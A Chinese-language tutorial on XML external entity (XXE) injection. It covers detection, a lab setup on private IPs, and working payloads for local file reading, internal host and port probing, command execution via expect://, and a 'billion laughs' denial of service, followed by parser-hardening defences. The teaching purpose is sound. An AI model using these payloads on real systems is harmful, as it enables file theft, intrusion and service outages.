web漏洞之XXE
一、概述
1.1什么是XXE?
XXE(XML External Entity Injection),即XML外部实体化注入漏洞,XML 文件在引用外部实体时候没有对进行过滤或者没有禁止外部实体的加载,导致攻击者可以构造恶意内容或加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
1.2常见位置
xxe漏洞触发的位置往往是可以上传xml文件的位置,且没有对上传的xml文件进行过滤,导致可上传恶意xml文件
二、漏洞验证
2.1、如果发现数据直接传送方式为XML,那么直接注入Payload进行测试;
2.1.1首先拦截传输数据的数据包,查看是否为xml,如下图就是明显的xml传输
2.1.2构造攻击数据包
2.2、如果HTTP请求头里Content-Type为application/json并使用Json进行数据交互的Web站点,可以修改其Content-Type为application/xml,并尝试进行XXE注入。
2.2.1拦截求情数据包,注意是json传输
2.2.2修改数据包为xml,然后构造攻击语句
2.2.3文件成功解析之行,说明攻击成功,漏洞存在
三、攻击方法
这里我们以目标机(ip:192.168.91.133)为例:
1.在目标机器的C盘根目录新建一个1.txt文件,内容为:password
2.在同一个网段准备一台用来实现内网攻击的机器,同时开启phpstudy,我们这里以win7(ip:192.168.91.132)为例:
3.1文件读取
3.1.1攻击代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///c://1.txt">]>
<name>&xxe;</name>
3.1.2攻击效果
3.2主机探测
3.2.1攻击代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "http://192.168.91.132">]>
<name>&xxe;</name>
3.2.2攻击效果
3.3端口探测
3.3.1攻击代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "http://192.168.91.132:80">]>
<name>&xxe;</name>
3.3.2攻击效果(这里我们加入了端口号,和之前主机发现不同)
3.3代码执行
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM " expect://id ">]>
<name>&xxe;</name>
3.4攻击内网
该攻击主要是攻击内网其他网站,通过构造攻击数据包加入ip进行执行
3.5DDOS攻击
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
四、防御方法
4.1. 使用开发语言提供的禁用外部实体的方法
PHP可以通过设置libxml_disable_entity_loader为true来禁用外部实体
Java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python: from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
4.2.对用户提交的XML数据进行过滤
比如关键词<!DOCTYPE 和 <!ENTITY,还有SYSTEM 和 PUBLIC。
五、危害
1、任意文件读取
2、端口扫描
3、攻击内网
4、远程代码执行
5、DDOS(拒绝服务攻击)